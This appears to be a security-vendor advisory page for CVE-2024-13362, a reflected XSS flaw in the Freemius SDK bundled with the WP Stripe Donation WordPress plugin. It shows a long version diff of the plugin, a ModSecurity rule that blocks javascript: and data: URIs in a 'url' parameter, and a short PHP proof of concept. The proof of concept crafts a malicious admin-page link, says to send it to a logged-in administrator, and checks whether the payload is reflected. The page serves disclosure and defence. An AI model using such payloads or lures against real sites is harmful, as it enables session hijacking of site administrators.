                     <?php
 ?>
             </td>
         </tr>
+        <!-- Display Total Donation Today -->
         <tr>
             <th scope="row">
                 <label for="wpsd_display_total_donation"><?php
-_e( 'Display Total Donation Today', WPSD_TXT_DOMAIN );
+_e( 'Display Total Donation Today', 'wp-stripe-donation' );
 ?></label>
                 <span class="dashicons dashicons-info-outline wpsd-admin-icon"></span>
                 <img src="<?php
 echo esc_attr( WPSD_ASSETS . 'img/wpsd-total-donation.webp' );
 ?>" class="wpsd-admin-help-img">
             </th>
-            <td colspan="3">
+            <td colspan="5">
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
         </tr>
+        <!-- Display Condition 1 -->
         <tr>
             <th scope="row">
                 <label for="wpsd_display_condition_one"><?php
-_e( 'Display Condition 1', WPSD_TXT_DOMAIN );
+_e( 'Display Condition 1', 'wp-stripe-donation' );
 ?></label>
                 <span class="dashicons dashicons-info-outline wpsd-admin-icon"></span>
                 <img src="<?php
@@ -471,21 +522,80 @@
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
             <th scope="row" style="text-align: right;">
                 <label><?php
-_e( 'Condition 1 Text', WPSD_TXT_DOMAIN );
+_e( 'Condition 1 Text', 'wp-stripe-donation' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WPSD_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
+            <th scope="row" style="text-align: right;">
+                <label for="wpsd_condiiton_one_required"><?php
+_e( 'Required', 'wp-stripe-donation' );
+?>* ?</label>
+            </th>
+            <td>
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
+        </tr>
+        <!-- Gift Aid -->
+        <tr>
+            <th scope="row">
+                <label for="wpsd_display_gift_aid"><?php
+_e( 'Enable Gift Aid', 'wp-stripe-donation' );
+?></label>
+            </th>
+            <td>
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-stripe-donation' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
+            <th scope="row" style="text-align: right;">
+                <label for="wpsd_gift_aid_label_text"><?php
+_e( 'Gift Aid Text', 'wp-stripe-donation' );
+?></label>
+            </th>
+            <td>
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
+            <th scope="row" style="text-align: right;">
+                <label for="wpsd_gift_aid_required"><?php
+_e( 'Required', 'wp-stripe-donation' );
+?>* ?</label>
+            </th>
+            <td>
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wsd_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-stripe-donation' ) . '</a>';
 ?></span>
                     <?php
 ?>
@@ -496,7 +606,7 @@
     <p class="submit">
         <button id="updateContent" name="updateContent" class="button button-primary wpsd-button">
             <i class="fa fa-check-circle" aria-hidden="true"></i> <?php
-_e( 'Save Settings', WPSD_TXT_DOMAIN );
+_e( 'Save Settings', 'wp-stripe-donation' );
 ?>
         </button>
     </p>
--- a/wp-stripe-donation/common/form-content.php
+++ b/wp-stripe-donation/common/form-content.php
@@ -187,6 +187,36 @@
                 'type'      => 'text',
                 'default'   => '',
             ],
+            [
+                'name'      => 'wpsd_comments_required',
+                'type'      => 'boolean',
+                'default'   => false,
+            ],
+            [
+                'name'      => 'wpsd_address_required',
+                'type'      => 'boolean',
+                'default'   => false,
+            ],
+            [
+                'name'      => 'wpsd_display_gift_aid',
+                'type'      => 'boolean',
+                'default'   => false,
+            ],
+            [
+                'name'      => 'wpsd_gift_aid_label_text',
+                'type'      => 'editor',
+                'default'   => '',
+            ],
+            [
+                'name'      => 'wpsd_gift_aid_required',
+                'type'      => 'boolean',
+                'default'   => false,
+            ],
+            [
+                'name'      => 'wpsd_condiiton_one_required',
+                'type'      => 'boolean',
+                'default'   => false,
+            ],
         ];
     }
 }
 No newline at end of file
--- a/wp-stripe-donation/common/general-settings.php
+++ b/wp-stripe-donation/common/general-settings.php
@@ -97,6 +97,11 @@
                 'type'      => 'boolean',
                 'default'   => false,
             ],
+            [
+                'name'      => 'wpsd_max_amount',
+                'type'      => 'number',
+                'default'   => 1,
+            ],
         ];
     }
 }
 No newline at end of file
--- a/wp-stripe-donation/freemius/includes/class-freemius.php
+++ b/wp-stripe-donation/freemius/includes/class-freemius.php
@@ -110,6 +110,12 @@
         private $_enable_anonymous = true;

         /**
+         * @since 2.9.1
+         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
+         */
+        private $_premium_plugin_basename_from_parallel_activation;
+
+        /**
          * @since 1.1.7.5
          * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
          */
@@ -1651,6 +1657,31 @@
                     );
                 }
             }
+
+            if (
+                $this->is_user_in_admin() &&
+                $this->is_parallel_activation() &&
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
+            ) {
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;
+
+                register_activation_hook(
+                    dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
+                    array( &$this, '_activate_plugin_event_hook' )
+                );
+            }
+        }
+
+        /**
+         * Determines if a plugin is running in parallel activation mode.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since 2.9.1
+         *
+         * @return bool
+         */
+        private function is_parallel_activation() {
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -3598,7 +3629,7 @@

             $this->delete_current_install( false );

-            $license_key = false;
+            $license = null;

             if (
                 is_object( $this->_license ) &&
@@ -3606,20 +3637,21 @@
                     ( WP_FS__IS_LOCALHOST_FOR_SERVER || FS_Site::is_localhost_by_address( self::get_unfiltered_site_url() ) )
                 )
             ) {
-                $license_key = $this->_license->secret_key;
+                $license = $this->_license;
             }

             return $this->opt_in(
                 false,
                 false,
                 false,
-                $license_key,
+                ( is_object( $license ) ? $license->secret_key : false ),
                 false,
                 false,
                 false,
                 null,
                 array(),
-                false
+                false,
+                ( is_object( $license ) ? $license->user_id : null )
             );
         }

@@ -4463,33 +4495,31 @@
                 return;
             }

-            if ( $this->has_api_connectivity() ) {
-                if ( self::is_cron() ) {
-                    $this->hook_callback_to_sync_cron();
-                } else if ( $this->is_user_in_admin() ) {
-                    /**
-                     * Schedule daily data sync cron if:
-                     *
-                     *  1. User opted-in (for tracking).
-                     *  2. If skipped, but later upgraded (opted-in via upgrade).
-                     *
-                     * @author Vova Feldman (@svovaf)
-                     * @since  1.1.7.3
-                     *
-                     */
-                    if ( $this->is_registered() && $this->is_tracking_allowed() ) {
-                        $this->maybe_schedule_sync_cron();
-                    }
+            $this->hook_callback_to_sync_cron();

-                    /**
-                     * Check if requested for manual blocking background sync.
-                     */
-                    if ( fs_request_has( 'background_sync' ) ) {
-                        self::require_pluggable_essentials();
-                        self::wp_cookie_constants();
+            if ( $this->has_api_connectivity() && ! self::is_cron() && $this->is_user_in_admin() ) {
+                /**
+                 * Schedule daily data sync cron if:
+                 *
+                 *  1. User opted-in (for tracking).
+                 *  2. If skipped, but later upgraded (opted-in via upgrade).
+                 *
+                 * @author Vova Feldman (@svovaf)
+                 * @since  1.1.7.3
+                 *
+                 */
+                if ( $this->is_registered() && $this->is_tracking_allowed() ) {
+                    $this->maybe_schedule_sync_cron();
+                }

-                        $this->run_manual_sync();
-                    }
+                /**
+                 * Check if requested for manual blocking background sync.
+                 */
+                if ( fs_request_has( 'background_sync' ) ) {
+                    self::require_pluggable_essentials();
+                    self::wp_cookie_constants();
+
+                    $this->run_manual_sync();
                 }
             }

@@ -5155,11 +5185,35 @@
                 $this->_plugin :
                 new FS_Plugin();

+            $is_premium     = $this->get_bool_option( $plugin_info, 'is_premium', true );
             $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' );

+            $module_type = $this->get_option( $plugin_info, 'type', $this->_module_type );
+
+            $parallel_activation = $this->get_option( $plugin_info, 'parallel_activation' );
+
+            if (
+                ! $is_premium &&
+                is_array( $parallel_activation ) &&
+                ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ) &&
+                $this->get_bool_option( $parallel_activation, 'enabled' )
+            ) {
+                $premium_basename = $this->get_option( $parallel_activation, 'premium_version_basename' );
+
+                if ( empty( $premium_basename ) ) {
+                    throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
+                }
+
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;
+
+                if ( is_plugin_active( $premium_basename ) ) {
+                    $is_premium = true;
+                }
+            }
+
             $plugin->update( array(
                 'id'                   => $id,
-                'type'                 => $this->get_option( $plugin_info, 'type', $this->_module_type ),
+                'type'                 => $module_type,
                 'public_key'           => $public_key,
                 'slug'                 => $this->_slug,
                 'premium_slug'         => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ),
@@ -5167,7 +5221,7 @@
                 'version'              => $this->get_plugin_version(),
                 'title'                => $this->get_plugin_name( $premium_suffix ),
                 'file'                 => $this->_plugin_basename,
-                'is_premium'           => $this->get_bool_option( $plugin_info, 'is_premium', true ),
+                'is_premium'           => $is_premium,
                 'premium_suffix'       => $premium_suffix,
                 'is_live'              => $this->get_bool_option( $plugin_info, 'is_live', true ),
                 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ),
@@ -5236,7 +5290,14 @@
                 $this->_anonymous_mode   = false;
             } else {
                 $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true );
-                $this->_anonymous_mode   = $this->get_bool_option( $plugin_info, 'anonymous_mode', false );
+                $this->_anonymous_mode   = (
+                    $this->get_bool_option( $plugin_info, 'anonymous_mode', false ) ||
+                    (
+                        $this->apply_filters( 'playground_anonymous_mode', true ) &&
+                        ! empty( $_SERVER['HTTP_HOST'] ) &&
+                        FS_Site::is_playground_wp_environment_by_host( $_SERVER['HTTP_HOST'] )
+                    )
+                );
             }
             $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() );
             $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false );
@@ -5444,7 +5505,7 @@

             if ( $this->is_registered() ) {
                 // Schedule code type changes event.
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();
             }

             /**
@@ -6508,6 +6569,33 @@
         }

         /**
+         * Instead of running blocking install sync event, execute non blocking scheduled cron job.
+         *
+         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding specified blog ID from being the cron job executor.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         */
+        private function maybe_schedule_install_sync_cron( $except_blog_id = 0 ) {
+            if ( ! $this->is_user_in_admin() ) {
+                return;
+            }
+
+            if ( $this->is_clone() ) {
+                return;
+            }
+
+            if (
+                // The event has been properly scheduled, so no need to reschedule it.
+                is_numeric( $this->next_install_sync() )
+            ) {
+                return;
+            }
+
+            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
+        }
+
+        /**
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.3
          *
@@ -6605,22 +6693,6 @@
         }

         /**
-         * Instead of running blocking install sync event, execute non blocking scheduled wp-cron.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.7.3
-         *
-         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor.
-         */
-        private function schedule_install_sync( $except_blog_id = 0 ) {
-            if ( $this->is_clone() ) {
-                return;
-            }
-
-            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
-        }
-
-        /**
          * Unix timestamp for previous install sync cron execution or false if never executed.
          *
          * @todo   There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working.
@@ -7411,7 +7483,7 @@
                  */
                 if (
                     is_plugin_active( $other_version_basename ) &&
-                    $this->apply_filters( 'deactivate_on_activation', true )
+                    $this->apply_filters( 'deactivate_on_activation', ! $this->is_parallel_activation() )
                 ) {
                     deactivate_plugins( $other_version_basename );
                 }
@@ -7425,7 +7497,7 @@

                 // Schedule re-activation event and sync.
 //				$this->sync_install( array(), true );
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();

                 // If activating the premium module version, add an admin notice to congratulate for an upgrade completion.
                 if ( $is_premium_version_activation ) {
@@ -7586,7 +7658,14 @@
                     $parent_fs->get_current_or_network_user()->email,
                     false,
                     false,
-                    $license->secret_key
+                    $license->secret_key,
+                    false,
+                    false,
+                    false,
+                    null,
+                    array(),
+                    true,
+                    $license->user_id
                 );
             } else {
                 // Activate the license.
@@ -7650,7 +7729,9 @@
                     false,
                     false,
                     null,
-                    $sites
+                    $sites,
+                    true,
+                    $license->user_id
                 );
             } else {
                 $blog_2_install_map = array();
@@ -7704,7 +7785,7 @@
          * @param array             $sites
          * @param int               $blog_id
          */
-        private function maybe_activate_bundle_license( FS_Plugin_License $license = null, $sites = array(), $blog_id = 0 ) {
+        private function maybe_activate_bundle_license( $license = null, $sites = array(), $blog_id = 0 ) {
             if ( ! is_object( $license ) && $this->has_active_valid_license() ) {
                 $license = $this->_license;
             }
@@ -7876,7 +7957,8 @@
                     null,
                     null,
                     $sites,
-                    ( $current_blog_id > 0 ? $current_blog_id : null )
+                    ( $current_blog_id > 0 ? $current_blog_id : null ),
+                    $license->user_id
                 );
             }
         }
@@ -8616,7 +8698,7 @@
                 return;
             }

-            $this->schedule_install_sync();
+            $this->maybe_schedule_install_sync_cron();
 //			$this->sync_install( array(), true );
         }

@@ -8757,8 +8839,13 @@
                      isset( $site_active_plugins[ $basename ] )
                 ) {
                     // Plugin was site level activated.
-                    $site_active_plugins_cache->plugins[ $basename ]              = $network_plugins[ $basename ];
-                    $site_active_plugins_cache->plugins[ $basename ]['is_active'] = true;
+                    $site_active_plugins_cache->plugins[ $basename ] = array(
+                        'slug'           => $network_plugins[ $basename ]['slug'],
+                        'version'        => $network_plugins[ $basename ]['Version'],
+                        'title'          => $network_plugins[ $basename ]['Name'],
+                        'is_active'      => $is_active,
+                        'is_uninstalled' => false,
+                    );
                 } else if ( isset( $site_active_plugins_cache->plugins[ $basename ] ) &&
                             ! isset( $site_active_plugins[ $basename ] )
                 ) {
@@ -11503,7 +11590,7 @@
                         continue;
                     }

-                    $missing_plan = self::_get_plan_by_id( $plan_id );
+                    $missing_plan = self::_get_plan_by_id( $plan_id, false );

                     if ( is_object( $missing_plan ) ) {
                         $plans[] = $missing_plan;
@@ -11665,10 +11752,10 @@
          *
          * @return FS_Plugin_Plan|false
          */
-        function _get_plan_by_id( $id ) {
+        function _get_plan_by_id( $id, $allow_sync = true ) {
             $this->_logger->entrance();

-            if ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) {
+            if ( $allow_sync && ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) ) {
                 $this->_sync_plans();
             }

@@ -12312,7 +12399,7 @@
          *
          * @param FS_Plugin_License $license
          */
-        private function set_license( FS_Plugin_License $license = null ) {
+        private function set_license( $license = null ) {
             $this->_license = $license;

             $this->maybe_update_whitelabel_flag( $license );
@@ -13412,7 +13499,8 @@
                 fs_request_get( 'module_id', null, 'post' ),
                 fs_request_get( 'user_id', null ),
                 fs_request_get_bool( 'is_extensions_tracking_allowed', null ),
-                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null )
+                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null ),
+                fs_request_get( 'license_owner_id', null )
             );

             if (
@@ -13561,6 +13649,7 @@
          * @param null|number $plugin_id
          * @param array       $sites
          * @param int         $blog_id
+         * @param null|number $license_owner_id
          *
          * @return array {
          *      @var bool   $success
@@ -13575,7 +13664,8 @@
             $is_marketing_allowed = null,
             $plugin_id = null,
             $sites = array(),
-            $blog_id = null
+            $blog_id = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13586,7 +13676,11 @@
                     $sites,
                 $is_marketing_allowed,
                 $blog_id,
-                $plugin_id
+                $plugin_id,
+                null,
+                null,
+                null,
+                $license_owner_id
             );

             // No need to show the sticky after license activation notice after migrating a license.
@@ -13660,9 +13754,10 @@
          * @param null|bool   $is_marketing_allowed
          * @param null|int    $blog_id
          * @param null|number $plugin_id
-         * @param null|number $license_owner_id
+         * @param null|number $user_id
          * @param bool|null   $is_extensions_tracking_allowed
          * @param bool|null   $is_diagnostic_tracking_allowed Since 2.5.0.2 to allow license activation with minimal data footprint.
+         * @param null|number $license_owner_id
          *
          *
          * @return array {
@@ -13677,9 +13772,10 @@
             $is_marketing_allowed = null,
             $blog_id = null,
             $plugin_id = null,
-            $license_owner_id = null,
+            $user_id = null,
             $is_extensions_tracking_allowed = null,
-            $is_diagnostic_tracking_allowed = null
+            $is_diagnostic_tracking_allowed = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13768,10 +13864,10 @@

                         $install_ids = array();

-                        $change_owner = FS_User::is_valid_id( $license_owner_id );
+                        $change_owner = FS_User::is_valid_id( $user_id );

                         if ( $change_owner ) {
-                            $params['user_id'] = $license_owner_id;
+                            $params['user_id'] = $user_id;

                             $installs_info_by_slug_map = $fs->get_parent_and_addons_installs_info();

@@ -13847,7 +13943,9 @@
                     false,
                     false,
                     $is_marketing_allowed,
-                    $sites
+                    $sites,
+                    true,
+                    $license_owner_id
                 );

                 if ( isset( $next_page->error ) ) {
@@ -15557,7 +15655,7 @@
          *
          * @return bool Since 2.3.1 returns if a switch was made.
          */
-        function switch_to_blog( $blog_id, FS_Site $install = null, $flush = false ) {
+        function switch_to_blog( $blog_id, $install = null, $flush = false ) {
             if ( ! is_numeric( $blog_id ) ) {
                 return false;
             }
@@ -15684,6 +15782,10 @@
         function get_site_info( $site = null, $load_registration = false ) {
             $this->_logger->entrance();

+            $fs_hook_snapshot = new FS_Hook_Snapshot();
+            // Remove all filters from `switch_blog`.
+            $fs_hook_snapshot->remove( 'switch_blog' );
+
             $switched = false;

             $registration_date = null;
@@ -15743,6 +15845,9 @@
                 restore_current_blog();
             }

+            // Add the filters back to `switch_blog`.
+            $fs_hook_snapshot->restore( 'switch_blog' );
+
             return $info;
         }

@@ -15974,7 +16079,7 @@
             if ( $this->is_install_sync_scheduled() &&
                  $context_blog_id == $this->get_install_sync_cron_blog_id()
             ) {
-                $this->schedule_install_sync( $context_blog_id );
+                $this->maybe_schedule_install_sync_cron( $context_blog_id );
             }
         }

@@ -16863,14 +16968,13 @@
          *
          * @param array         $override_with
          * @param bool|int|null $network_level_or_blog_id If true, return params for network level opt-in. If integer, get params for specified blog in the network.
+         * @param bool          $skip_user_info
          *
          * @return array
          */
-        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null ) {
+        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null, $skip_user_info = false ) {
             $this->_logger->entrance();

-            $current_user = self::_get_current_wp_user();
-
             $activation_action = $this->get_unique_affix() . '_activate_new';
             $return_url        = $this->is_anonymous() ?
                 // If skipped already, then return to the account page.
@@ -16881,9 +16985,6 @@
             $versions = $this->get_versions();

             $params = array_merge( $versions, array(
-                'user_firstname'    => $current_user->user_firstname,
-                'user_lastn

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_METHOD "@streq GET" "id:21336201,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Freemius Reflected XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule QUERY_STRING "@rx (?:^|&)url=(?:javascript|data|vbscript|file|ftp):" "t:lowercase,t:urlDecode,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// Configuration
$target_url = 'http://example.com/wp-admin/admin.php?page=wp-stripe-donation-settings'; // Change this to the target site's admin page URL

// The vulnerable endpoint is any page that calls wsd_fs()->get_upgrade_url() which generates a redirect URL with a 'url' parameter.
// This PoC demonstrates by crafting a link that, when clicked, will execute the XSS payload.

// Payload: inject a javascript: URI into the url parameter
$payload = 'javascript:alert(document.domain)';
$malicious_url = sprintf(
    '%s%s%s',
    $target_url,
    (strpos($target_url, '?') === false ? '?' : '&'),
    'url=' . urlencode($payload)
);

echo "[+] Atomic Edge CVE-2024-13362 PoCn";
echo "[+] Target: $target_urln";
echo "[+] Malicious URL: $malicious_urln";
echo "[+] Send this link to a logged-in admin user.n";
echo "[+] When clicked, the JavaScript payload 'alert(document.domain)' will execute.n";

// Verify by making a request and checking if the payload is reflected
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    if (preg_match('/javascript:alert(document.domain)/', $response)) {
        echo "[+] SUCCESS: Payload reflected in response. The site is vulnerable.n";
    } else {
        echo "[!] Payload not reflected. The site may be patched or the URL structure differs.n";
    }
} else {
    echo "[!] HTTP $http_code returned. Check target URL.n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School